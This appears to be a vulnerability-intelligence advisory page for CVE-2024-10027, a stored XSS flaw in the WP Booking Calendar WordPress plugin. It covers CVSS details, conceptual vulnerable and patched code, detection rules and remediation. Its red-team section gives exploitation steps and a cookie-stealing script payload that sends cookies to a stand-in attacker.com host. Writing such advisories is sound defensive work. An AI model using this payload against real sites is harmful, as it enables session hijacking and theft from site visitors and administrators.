☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10027

CVE-2024-10027 Cross-Site Scripting in Wp booking calendar
📅 PUBLISHED: 2024-11-07 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10027 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the WP Booking Calendar WordPress plugin, versions prior to 10.6.3. The flaw resides in the plugin's Widgets settings, which fail to properly sanitize and escape user-supplied input. This allows high-privilege users, such as administrators, to inject arbitrary web scripts or HTML. When the injected payload is stored and later rendered in the context of other users' browsers, it can lead to session hijacking, data theft, or further compromise of the WordPress site. The vulnerability is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is disallowed, as it bypasses the intended security restriction.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WP Booking Calendar plugin, a third-party component distributed through the official WordPress plugin repository. The supply chain risk is moderate: while the plugin is widely used, the vulnerability requires administrative privileges to exploit, limiting the attack surface to already-compromised or malicious administrators. However, in a multisite environment, a compromised administrator of a subsite could leverage this flaw to attack the main site or other subsites. Organizations should ensure that plugin updates are applied promptly and that administrative access is tightly controlled.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – The attacker must have administrator-level access.
  • User Interaction (UI): Required (R) – A user (e.g., another admin or visitor) must view the affected page.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for high privileges reduces the likelihood of widespread exploitation, but the potential for cross-site scripting in a multisite context elevates the risk for organizations with many subsites.

Deep Dive & Mechanics

The vulnerability exists in the WP Booking Calendar plugin's widget settings. Widgets in WordPress are blocks of content that can be added to sidebars, footers, or other widgetized areas. The plugin allows administrators to configure widget settings, such as titles or custom text, through the WordPress admin interface.

The core issue is that the plugin does not properly sanitize or escape the input provided in these widget settings before storing it in the database. When the widget is rendered on the front end, the unsanitized input is output directly into the HTML, allowing an attacker to inject arbitrary JavaScript or HTML.

Attack Flow:

  1. An attacker with administrator privileges navigates to the WP Booking Calendar widget settings.
  2. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into a widget setting field.
  3. The plugin stores the payload in the WordPress database without sanitization.
  4. When any user (including other administrators or site visitors) views a page that displays the widget, the payload executes in their browser.

Why Multisite Matters: In a WordPress multisite network, the unfiltered_html capability is typically disallowed for subsite administrators to prevent them from injecting arbitrary code. However, this vulnerability bypasses that restriction because the plugin does not apply its own sanitization, allowing subsite admins to perform XSS attacks that could affect the entire network.

Vulnerable vs. Patched Code

Vulnerable Code (Version < 10.6.3): The vulnerable code likely appears in the widget's update() or widget() function, where user input is directly saved or output without sanitization.

// Vulnerable example (conceptual)
function widget($args, $instance) {
    echo $args['before_widget'];
    echo $instance['title']; // No escaping
    echo $args['after_widget'];
}

Patched Code (Version 10.6.3): The patched version uses WordPress's built-in escaping functions, such as esc_html() or wp_kses_post(), to sanitize output.

// Patched example (conceptual)
function widget($args, $instance) {
    echo $args['before_widget'];
    echo esc_html($instance['title']); // Properly escaped
    echo $args['after_widget'];
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Administrative access to a WordPress site running WP Booking Calendar < 10.6.3.
  • A widget area that displays the vulnerable widget.

Exploitation Steps:

  1. Log in as an administrator.
  2. Navigate to Appearance > Widgets.
  3. Add or edit the WP Booking Calendar widget.
  4. In a text field (e.g., "Title"), enter the following payload:
    <script>alert('XSS')</script>
    
  5. Save the widget.
  6. Visit any page that displays the widget. The JavaScript will execute.

Advanced Payload: To steal cookies:

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual widget configuration changes by administrators.
  • Look for script tags or event handlers in widget settings stored in the wp_options table.
  • Use a Web Application Firewall (WAF) to block common XSS payloads in admin requests.

Hardening:

  • Immediately update the plugin to version 10.6.3 or later.
  • Restrict administrative access to trusted users only.
  • In multisite, consider disabling the plugin for subsites if not needed.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available from public sources)
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains containing cookie data.
    • Unusual JavaScript files loaded from external domains.
  • Log Entries:
    • WordPress admin logs showing widget updates with suspicious content.
    • Browser console errors related to script execution.
  • Database Indicators:
    • Entries in wp_options table containing <script> tags or on* event handlers.

Detection Engineering

YARA Rule

rule wp_booking_calendar_xss {
    meta:
        description = "Detects stored XSS payloads in WP Booking Calendar widget settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10027"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: WP Booking Calendar Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in WP Booking Calendar widget settings
author: Valters IT
date: 2024/10/27
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        Message|contains:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10027 WP Booking Calendar Stored XSS"; flow:to_server,established; content:"/wp-admin/widgets.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin: Upgrade WP Booking Calendar to version 10.6.3 or later.
  2. Review widget settings: Check all existing widget configurations for malicious content and remove any suspicious entries.
  3. Audit user accounts: Ensure only trusted users have administrative privileges.

Long-Term Mitigations:

  • Implement a Web Application Firewall (WAF) with XSS protection rules.
  • Enforce Content Security Policy (CSP) headers to restrict script execution.
  • Regularly audit WordPress plugins and themes for vulnerabilities.
  • In multisite environments, consider using a security plugin that enforces unfiltered_html restrictions.

Patch Details: The fix is included in version 10.6.3 of the WP Booking Calendar plugin. Update via the WordPress admin dashboard or by downloading the latest version from the WordPress plugin repository.


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Booking Calendar"
http.html:"wp-booking-calendar"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10027/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.